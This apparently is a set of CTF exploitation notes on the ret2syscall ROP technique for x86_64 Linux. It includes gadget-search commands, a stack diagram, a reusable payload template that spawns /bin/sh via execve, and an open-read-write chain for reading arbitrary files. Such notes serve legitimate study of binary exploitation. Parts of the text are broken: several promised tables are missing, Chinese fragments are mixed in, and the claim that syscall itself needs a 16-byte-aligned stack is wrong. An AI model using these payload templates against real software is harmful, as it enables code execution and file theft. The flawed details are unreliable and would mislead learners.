ret2system

Table of Contents

1. ret2syscall Exploitation Notes (for x86_64 Linux)
   1. Basic Concept
   2. syscall Calling Convention (x86_64)
   3. Finding a syscall Gadget
   4. Example Flow for Building execve(“/bin/sh”)
   5. Trampoline Stack Diagram (ASCII Stack Example)
   6. Placing the “/bin/sh” String
   7. Common syscall Combination Templates
   8. Common Pitfalls
   9. ret2syscall vs ret2libc / ret2system

ret2syscall Exploitation Notes (for x86_64 Linux)

Basic Concept

ret2syscall is a ROP technique that directly invokes Linux kernel syscalls by controlling registers and then triggering the syscall instruction. Common uses:

• Call execve("/bin/sh", 0, 0) to get a shell

• Call open/read/write to read files

• Sometimes used to exit the program (exit)

The advantage of ret2syscall is:
No libc required, no system required; only a syscall instruction somewhere in the program is needed.

syscall Calling Convention (x86_64)

Under Linux, syscalls pass arguments through the following registers:

To trigger a syscall, you must execute:

1
syscall

Common syscall IDs:

The most common setup is:

1
execve("/bin/sh", 0, 0)

Corresponding registers:

1
rax = 59
2
rdi = "/bin/sh" 地址
3
rsi = 0
4
rdx = 0
5
syscall

Finding a syscall Gadget

Programs often contain something like:

1
0x401234: syscall

Commonly from:

• Error-handling stubs
• __libc_start_main in the PLT
• Manually written assembly sections

How to search:

1
ROPgadget --binary ./pwn | grep syscall

Or search in IDA:

1
text:0000000000402404    syscall

Usually we only need the syscall instruction itself, because rax/rdi/rsi/rdx can be set with other gadgets.

Example Flow for Building execve(“/bin/sh”)

A typical ret2syscall chain:

1. Place the string “/bin/sh\0” at a controllable address

2. Find gadgets for popping registers:

   • pop rdi; ret

   • pop rsi; ret

   • pop rdx; ret

   • pop rax; ret

3. Set the registers

4. Jump to syscall

Trampoline Stack Diagram (ASCII Stack Example)

Below is a typical top-down stack diagram. Your preferred rbp-x style corresponds to rsp+x offsets in ROP, so I keep the same style here:

1
rsp+0x00  → [ pop rax; ret ]
2
rsp+0x08  → [ 59 ]                  ; execve syscall number
3
rsp+0x10  → [ pop rdi; ret ]
4
rsp+0x18  → [ binsh_addr ]          ; "/bin/sh"
5
rsp+0x20  → [ pop rsi; ret ]
6
rsp+0x28  → [ 0 ]
7
rsp+0x30  → [ pop rdx; ret ]
8
rsp+0x38  → [ 0 ]
9
rsp+0x40  → [ syscall ]             ; 最终触发 execve("/bin/sh",0,0)

Actual execution order:

1. pop rax → rax=59

2. pop rdi → rdi=“/bin/sh”

3. pop rsi → rsi=0

4. pop rdx → rdx=0

5. syscall → execve(“/bin/sh”)

Placing the “/bin/sh” String

It is usually written into the bss section:

1
binsh = bss_addr + 0x100
2
payload += pop_rdi; ret
3
payload += binsh
4
payload += write_str("/bin/sh\0")

Or directly use the address in libc (if libc has been leaked):

1
next(libc.search(b"/bin/sh"))

But ret2syscall usually does not depend on libc, so writing it to bss is recommended.

Common syscall Combination Templates

The following structures can be reused directly.

execve(“/bin/sh”, 0, 0)

1
payload  = b"A"*offset
2
payload += p64(pop_rax)
3
payload += p64(59)
4
payload += p64(pop_rdi)
5
payload += p64(binsh_addr)
6
payload += p64(pop_rsi)
7
payload += p64(0)
8
payload += p64(pop_rdx)
9
payload += p64(0)
10
payload += p64(syscall)

open-read-write Pattern

Open the file first, then read and write:

1
rax = 2   open
2
rdi = filename
3
rsi = 0
4
rdx = 0
5
syscall
6

7
rax = 0   read
8
rdi = fd
9
rsi = buf
10
rdx = len
11
syscall
12

13
rax = 1   write
14
rdi = 1
15
rsi = buf
16
rdx = len
17
syscall

Can be used to read the flag or any arbitrary file.

Common Pitfalls

1. The syscall gadget may fail

Some programs have custom sandboxes, or syscall may be non-executable in certain sections.

2. Stack alignment issues (very important)

On x86_64, before executing syscall, the system requires:

1
rsp % 16 == 0

Otherwise it may crash (or trigger unexpected behavior).

Usually, make the post-ret stack address:

1
payload_len % 16 == 8

Because ret makes rsp+=8, turning it into 16-byte alignment.

3. Cannot find pop-register gadgets

You can use the universal gadget in __libc_csu_init (the ret2csu technique you often use) to set registers.

4. No syscall in the program?

In these challenges, syscall is usually hidden somewhere, generally in:

1
__libc_start_main init stub
2
错误处理段
3
exit stub

ret2syscall vs ret2libc / ret2system

Comparison:

When PIE, NX, and Canaries are all absent: ret2syscall is the strongest weapon.